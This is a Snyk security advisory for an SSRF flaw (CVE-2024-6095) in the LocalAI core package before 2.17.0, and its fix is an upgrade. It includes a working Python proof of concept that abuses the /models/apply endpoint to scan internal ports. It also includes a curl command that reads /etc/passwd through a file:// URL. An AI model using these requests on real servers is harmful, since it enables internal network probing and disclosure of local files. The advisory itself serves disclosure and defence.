Server-Side Request Forgery (SSRF) Affecting github.com/mudler/localai/core package, versions <2.17.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMMUDLERLOCALAICORE-7430241
- published8 Jul 2024
- disclosed6 Jul 2024
- creditEvgenii Shein
Introduced: 6 Jul 2024
CVE-2024-6095 Â (opens in a new tab)How to fix?
Upgrade github.com/mudler/LocalAI/core to version 2.17.0 or higher.
Overview
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) through the /models/apply endpoint. An attacker can gain unauthorized access to internal HTTP(s) servers and partially read local files by crafting malicious requests that exploit the endpoint's support for both http(s):// and file:// schemes.
PoC
import requests
# ANSI color codes
RED = '\033[0;31m'
GREEN = '\033[0;32m'
NC = '\033[0m' # No Color
# Top 50 ports
top_http_ports = [80, 8080, 443, 8000, 8008, 8081, 8888, 8880, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047]
for port in top_http_ports:
# Change this variable according to your desired IP or DOMAIN
url = f"http://192.168.1.100:{port}/"
response = requests.post("http://192.168.1.100:8080/models/apply", json={"url": url}).json()
uuid = response.get('uuid')
job_response = requests.get(f"http://192.168.1.100:8080/models/jobs/{uuid}").text
if "connection refused" in job_response:
print(f"{RED}Port {port} (UUID = {uuid}) is closed{NC}")
else:
print(f"{GREEN}Port {port} (UUID = {uuid}) is listening{NC}")
curl -s $(curl -s "http://192.168.1.100:8080/models/apply" -H "Content-Type: application/json" -d "{\"url\": \"file:///etc/passwd\"}" | jq -r '.status') | jq